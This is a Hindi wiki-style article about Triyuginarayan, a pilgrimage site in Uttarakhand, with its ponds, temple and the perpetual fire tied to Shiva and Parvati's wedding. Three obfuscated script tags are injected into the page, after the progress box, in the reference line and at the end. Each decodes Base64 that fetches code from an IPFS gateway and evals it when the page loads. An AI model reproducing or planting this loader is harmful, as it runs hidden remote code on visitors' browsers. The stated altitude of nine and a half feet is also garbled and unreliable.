त्रिजुगीनारायण

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 13:41, 12 मई 2012 का अवतरण (''''त्रिजुगीनारायण''' गढ़वाल ज़िला, [[उत्तराखंड...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

त्रिजुगीनारायण गढ़वाल ज़िला, उत्तराखंड में केदारनाथ से बदरीनाथ जाने वाले मार्ग पर स्थित पुराण प्रसिद्ध तीर्थ है। यह समुद्रतल से साढ़े नौ फुट की ऊँचाई पर स्थित है।

  • त्रिजुगीनारायण में ब्रह्मकुंड, विष्णुकुंड, रुद्रकुंड और सरस्वतीकुंड नामक चार सरोवर हैं।
  • इन सरोवरों के पास ही नारायण का एक मंदिर है।
  • एक स्थान पर निरंतर अग्नि प्रज्वलित रहती है। किंवदंती है कि यहीं शिव-पार्वती का विवाह संस्कार सम्पन्न हुआ था।
  • कुमारसंभव[1] में शिव-पार्वती के विवाह में अग्नि को साक्षी रूप में माना है-

'वधूं द्विज: प्राह तदैव वत्से वह्लिर्विवाहं प्रतिकर्मसाक्षी, शिवेन भर्त्रा सह धर्मचर्या कायां त्वयामुक्तविचारयेति'

  • संभवत: इसी पुण्य अग्नि के संस्मारक के रूप में इस स्थान पर सदा अग्नि प्रज्वलित रखी जाती है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 416 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>